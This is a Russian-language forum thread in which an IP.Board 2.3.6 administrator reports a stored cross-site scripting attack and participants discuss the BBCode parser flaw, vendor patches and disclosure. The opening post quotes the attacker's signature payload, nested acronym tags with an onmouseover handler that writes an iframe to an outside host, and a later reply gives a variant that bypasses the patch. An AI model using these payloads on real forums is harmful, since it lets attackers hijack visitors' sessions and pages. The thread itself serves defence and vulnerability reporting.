Перейти к контенту
  • 0

Пытаются взломать что делать


Вопрос

Есть форум ipb 2 3 6

 

один пользователь прислал в ЛС некое сообщение, при прокрутке скролом страницы перекинуло на другой сайт и вернуло обратно. В подписи юзера оказался следующий код

 

[color="#EEF2F7"][acronym=test1[acronym=test2 onmouseover=document.write("\x3Ciframe\x20src=http://****.freehostia.com/\x20frameborder=0\x20width=1024\x20height=3186\x20scrolling=no\x3E\x3C/iframe\x3E");document.close(); ]_]___________________________________________________________________________[/acronym]_[/acronym][/color]

 

 

вот как работает тег акронима:

[acronym='Laugh Out Loud']lol[/acronym]


<acronym title='{option}'>{content}</acronym>

 

Как защититься и что делать?

Ссылка на комментарий
Поделиться на других сайтах

  • Ответы 100
  • Создана
  • Последний ответ

Лучшие авторы в этом вопросе

Лучшие авторы в этом вопросе

Загружено фотографий

Рекомендуемые сообщения

  • 0

LastDragon, советую воздержаться от публичного обсуждения вопроса экплоитинга тройки, ибо на данный момент, помимо xss, мною получены и более неприятные результаты вроде dead loop и даже fatal error на уровне всего форума. И при этом уязвимы абсолютно все форумы IP.Board. Второй патч снова отложен на сутки на ислледование этих двух новых эксплоитов.

 

По итогам всей истории напишу подробный пост, где расскажу, как ломал.

 

А вообще им давно пора меня отблагодарить материально, ибо мог и не идти на сотрудничество, а продолжать pwn'ить их форум день за днем)))

Ссылка на комментарий
Поделиться на других сайтах

  • 0
С ббкодами бесконечный цикл очень легко сделать. У нас был случай когда на определенной теме апач уходил в корку, оказались виноваты ббкоды.
Ссылка на комментарий
Поделиться на других сайтах

  • 0
С ббкодами бесконечный цикл очень легко сделать.

 

GiV, да, баг был изначально, еще с первых версий. Надеюсь таки вынудить их нормально переписать парсер.

Ссылка на комментарий
Поделиться на других сайтах

  • 0
Регулярные выражения это теже FSM.

У них нет регекспов.

 

А вообще им давно пора меня отблагодарить материально,

Просите вечную лицензию на IPB :D

 

советую воздержаться от публичного обсуждения вопроса экплоитинга тройки, ибо на данный момент, помимо xss, мною получены и более неприятные результаты вроде dead loop и даже fatal error на уровне всего форума. И при этом уязвимы абсолютно все форумы IP.Board. Второй патч снова отложен на сутки на ислледование этих двух новых эксплоитов.

Так ничего удивительного - туда-сюда парсить пост пока не кончатся все BB-коды. НО с текущей реализацией ни одна заплатка это не исправит (будет очередной костыль, закрывающий одну часть глобальной проблемы) - причина чуть выше (не совсем верно, но кому интересно могут сами посмотреть код).

 

По поводу обсуждения - кому нужно и так это знают. Кроме того, Вы же сами говорите "баг был изначально", так вот, если они не исправили это при разработке тройки, то единственный вариант заставить их это сделать вытащить все на публику.

 

Надеюсь таки вынудить их нормально переписать парсер.

Дайте им вот эту ссылку - это вариант правильного парсера. НО его внедрение повлечет глобальный рефакторинг всей BB-код системы, этого никто делать не будет пока клиенты не начнут отказываться от IPB в сторону более защищенных форумов...

Изменено пользователем LastDragon
Ссылка на комментарий
Поделиться на других сайтах

  • 0
НО с текущей реализацией ни одна заплатка это не исправит

Я с вами и не спорю. Более того, вы правильно называете направление для поиска экплоитов. Ну что же, если хотите, публикуйте информацию и дальше в открытую тут, а потом райдуйтесь легшим по всей сети форумам, если вам так хочется.

 

Уж вы то, как разработчик платных модификаций для тройки, должны понимать, когда стоит особо не распространяться о проблеме :D

Ссылка на комментарий
Поделиться на других сайтах

  • 0
НО с текущей реализацией ни одна заплатка это не исправит

Я с вами и не спорю. Более того, вы правильно называете направление для поиска экплоитов. Ну что же, если хотите, публикуйте информацию и дальше в открытую тут, а потом райдуйтесь легшим по всей сети форумам, если вам так хочется.

Не... вы начали, вам и карты в руки :D

 

Тем более никакого удовольствия от множества упавших форумов я не испытаю (скорее даже наоборот)...

 

Уж вы то, как разработчик платных модификаций для тройки, должны понимать, когда стоит особо не распространяться о проблеме

Данную тему давно следовало переместить в клиентский раздел - зачем потенциальных клиентов пугать?, но админам видно все равно.....

Ссылка на комментарий
Поделиться на других сайтах

  • 0
LastDragon, а вы у себя последний патч ставили? Или что-то еще делали? :D

Э... только не нужно пробовать!

 

Ritsuka, если не секрет в какую сторону IPS движется и когда примерно патч будет?

Изменено пользователем LastDragon
Ссылка на комментарий
Поделиться на других сайтах

  • 0
We would rather hold the patch until we're confident it fixes the issue than release one today with problems still present, as I said earlier.

 

Basically, now I've got it removing HTML inside the option tag (in addition to [ and ] tags), in the event the inner tag parsed first.

 

Работают. Я им еще пару эксплоитов вдогонку подкинул, не менее интересных :D

Изменено пользователем Ritsuka
Ссылка на комментарий
Поделиться на других сайтах

  • 0
We would rather hold the patch until we're confident it fixes the issue than release one today with problems still present, as I said earlier.

 

Basically, now I've got it removing HTML inside the option tag (in addition to [ and ] tags), in the event the inner tag parsed first.

 

Работают. Я им еще пару эксплоитов вдогонку подкинул, не менее интересных :D

Интересно, как они смогут гарантировать правильный (и в правильном порядке) разбор BB-кодов (особенно чтобы удалить [ и ])?

 

Что-то мне кажется не тем путем они идут, хотя, подожду патча, там будет видно (начал готовиться к восприятию очередного куска индусского го... кода).

 

Модераторы, может все таки стоит перенести тему в закрытый раздел?

Изменено пользователем LastDragon
Ссылка на комментарий
Поделиться на других сайтах

  • 0

LastDragon, я же не тупой школьник, я все проверил, парсер работает по способу 1 из сообщения 76, сначала а, значит убив квадратные скобки запрещаем использовать теги в опшн

 

переносить? поздно уже)

эксплоитов тут не найти, школьники не поймут о чем мы, а те, кто поймет, уже давно это сделали

Ссылка на комментарий
Поделиться на других сайтах

  • 0
LastDragon, я же не тупой школьник, я все проверил, парсер работает по способу 1 из сообщения 76, сначала а, значит убив квадратные скобки запрещаем использовать теги в опшн

Вы можете сказать какой BB-код будет обработан первым?

[aaa=1 [bbb]]2[/aaa][/bbb]

 

[aaa] или [bbb]? Вот и я не могу, а этого зависит будут ли [ и ] в опции.

 

Ппц... class_bbcode_core::parseBbcode() пытается найти ВСЕ существующие BB-коды (т.е. перебирает их все в цикле). классы тоже все подключаются. Блин... хоть бери и все переписывай.

Ссылка на комментарий
Поделиться на других сайтах

  • 0

могу, есть такая штука - дебаг называется

согласно нему код, на котором я основывался и который висит на первой странице темы, будет обрабатываться сначала aaa, а потом bbb

 

 

str_replace(array('<','>','[',']'),'' спасет наверно 90%

 

 

add: xss возникает там, где я сказал, почитайте внимательнее

остальное - порча стилей

 

пока бфарбер тупит, закрывая каждый тег по отдельности (зачем тогда вообще унифицированная функция их обработки), можно тупо найти и сделать замены всех скобок на их сущности

плюс еще знак равно заменить также

 

и в тройке функция badWords абсолютно также тупа

Ссылка на комментарий
Поделиться на других сайтах

  • 0
могу, есть такая штука - дебаг называется

согласно нему код, на котором я основывался и который висит на первой странице темы, будет обрабатываться сначала aaa, а потом bbb

А вот вы о чем... не... тут уже обсуждение только IPB3. Двойка как-то сама пропала. Посмотрите код метода class_bbcode_core::parseBbcode(), там обычный массив из всех ббкодов для текущего режима (пост, подпись и т.д.), порядок разбора полностью зависит от этого массива (и они действительно, обрабатываются все).

 

Тройку надо не исправлять, а переписать заново, т.к. искать все ббкоды, по меньшей мере, глупо.

Изменено пользователем LastDragon
Ссылка на комментарий
Поделиться на других сайтах

  • 0
Можно было от них просто отказаться, благо хороших валидаторов HTML достаточно :D А события резать на корню.
Ссылка на комментарий
Поделиться на других сайтах

  • 0
Можно было от них просто отказаться, благо хороших валидаторов HTML достаточно :D А события резать на корню.

Нет, только не HTML, пользователи очень любят вставлять туда вордовские документы...

 

Сам я больше всего к разметке типа Markdown (из Trac) или Textile (т.к. в Redmine используется) склоняюсь, эх, мечты...

 

События кстати режутся, для каждого атрибута (опции) по отдельности...

Изменено пользователем LastDragon
Ссылка на комментарий
Поделиться на других сайтах

  • 0

2.3.6 использует такой же массив и такой же способ обработки

а в 3.0.3 в функции preDbParse, которая идет перед непосредственным сохранением подписи есть

 

$txt = $this->badWords($txt);

и смотрите теперь, куда девается хваленое & #111;

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Arhar, второй патч как раз и состоял из фильтра скобок для параметров всех тегов:

						if( strpos( $txt, '[' ) !== false OR strpos( $txt, ']' ) !== false )
					{
							$txt	= str_replace( array( '[', ']' ), array( '[', ']' ), $txt );
					}

Хм, тут html entities обратно обернулись в скобки, но, думаю, понятен принцип :D

 

И, да, эту защиту очень легко обойти.

Ссылка на комментарий
Поделиться на других сайтах

  • 0
$txt	= str_replace( array( '[', ']' ), array( '[', ']' ), $txt );

;):D это даже не индусы...

Изменено пользователем LastDragon
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Отцы, так, в итоге, какой надо патч ставить?

Поставил 236xss_march10.zip

Код, описаный с первом посте теперь не работает, но срабатывает

[acronym=test1[acronym=test2 onmouseover=alert(1) ]test1]test2[/acronym]test1[/acronym]

Ссылка на комментарий
Поделиться на других сайтах

  • 0
Кхм ^^' А двойку кажется никто и не патчил от всех (> 12) найденных эксплоитов. Подумайте об обновлении до тройки ^^"
Ссылка на комментарий
Поделиться на других сайтах

  • 0
Ritsuka, вот, чисто по ощущениям, действительно, там ещё гора подобных дыр, о которых далеко не все в курсе. Есть какие-то варианты для фикса двушки? Хотя бы за отдельную плату. Трёшка никак не устраивает, а покупать другой движок тоже не очень хочется...
Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Ответить на вопрос...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...

×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.